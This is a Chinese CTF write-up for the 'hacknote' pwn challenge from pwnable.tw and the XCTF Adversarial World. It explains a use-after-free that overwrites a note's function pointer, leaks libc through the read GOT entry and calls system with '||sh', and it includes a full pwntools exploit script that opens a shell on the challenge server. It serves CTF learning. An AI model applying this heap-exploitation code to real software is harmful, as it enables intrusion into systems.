攻防世界-PWN进阶区-hacknote(pwnable.tw)
程序员文章站
2022-05-11 22:39:04
...
攻防世界中这道题是pwnable.tw上面的原题,虽然在攻防世界上难度为7星,不过实际上这题不算难,只需要利用UAF就可以完成。
题目分析
题目链接:https://pan.baidu.com/s/1T-mIVLkxvyZ_7VvlBuInZQ
提取码:azyd
checksec:
保护机制比前几题弱了很多
main:
hacknote实现了三个功能:
1.添加(上限为5)
在新建note时,程序会先申请一个8bytes大小的空间,然后把打印的函数指针放入前4个bytes,后四个bytes放note的内容的指针。
2.删除(删除之后没有将指针置空,明显的UAF漏洞)
3.显示
打印内容的函数:
因为本题使用了函数指针,这使得题目难度降低许多。我们只需要控制函数指针,就能得到shell
漏洞利用
- 创建两个大小为0x80的note,此时堆结构如下:
然后将它们delete,这样两个note的块就进入了fastbin
此时fastbin为note[0]<-note[1]
- 创建一个大小为0x8的note,为note[2], note[2]与note[1]指向相同的位置,并且note[2]的内容指向note[0]相同的位置,构造payload=p32(my_puts) + p32(read_got),就能获得read的地址从而计算system的地址
- 把note[2]删除,创建note[3],note[3]也与note[1]指向相同的位置,并且note[3]的内容也指向note[0]相同的位置,构造payload = p32(system) + ‘||sh’
这里说一下为什么用 “||sh”:
在show函数中,参数传入的是该note即note[3]的地址,而把该地址中的内容当做字符串就是
p32(system)||sh
当system执行p32(system)||sh
,因为无法解析p32(system)
,就会转而执行sh
,这样我们就拿到了shell
Exp
注意:pwnable.tw使用题目给的libc可以成功,但是攻防世界和pwnable.tw用的libc不一样,所以需要用LibcSearcher来判断libc,应该是ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
from pwn import *
from LibcSearcher import *
def add(size, content):
print r.recvuntil("Your choice :")
r.sendline('1')
print r.recvuntil("Note size :")
r.sendline(str(size))
print r.recvuntil("Content :")
r.send(content)
def delete(index):
print r.recvuntil("Your choice :")
r.sendline('2')
print r.recvuntil("Index :")
r.sendline(str(index))
def show(index):
print r.recvuntil("Your choice :")
r.sendline('3')
print r.recvuntil("Index :")
r.sendline(str(index))
r = remote("111.198.29.45", 43097)
#r = remote("chall.pwnable.tw", 10102)
#r = process('./hacknote/hacknote')
elf = ELF('./hacknote/hacknote')
libc = ELF('./hacknote/libc_32.so.6')
my_puts = 0x0804862b
read_got = elf.got['read']
add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p32(my_puts) + p32(read_got)
add(8, payload)
show(0)
read_addr = u32(r.recv(4))
'''
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
'''
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system = libc_base + libc.dump("system")
print "read:", hex(read_addr)
print "system:", hex(system)
delete(2)
payload = p32(system) + '||sh'
add(0x8, payload)
show(0)
r.interactive()
成功得到shell
推荐阅读
-
攻防世界web进阶区mfw
-
攻防世界web进阶区21-25题 write up
-
攻防世界MISC进阶区 21-25题 write up
-
攻防世界web进阶区11-15题 write up
-
攻防世界 Misc高手进阶区 2分题 Erik-Baleog-and-Olaf
-
攻防世界 Misc高手进阶区 2分题 Ditf
-
【XCTF 攻防世界】WEB 高手进阶区 supersqli(三种方法)
-
攻防世界-Web高手进阶区-supersqli(强网杯的随便注)
-
stack2 [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列15
-
【XCTF 攻防世界】WEB 高手进阶区 Web_php_include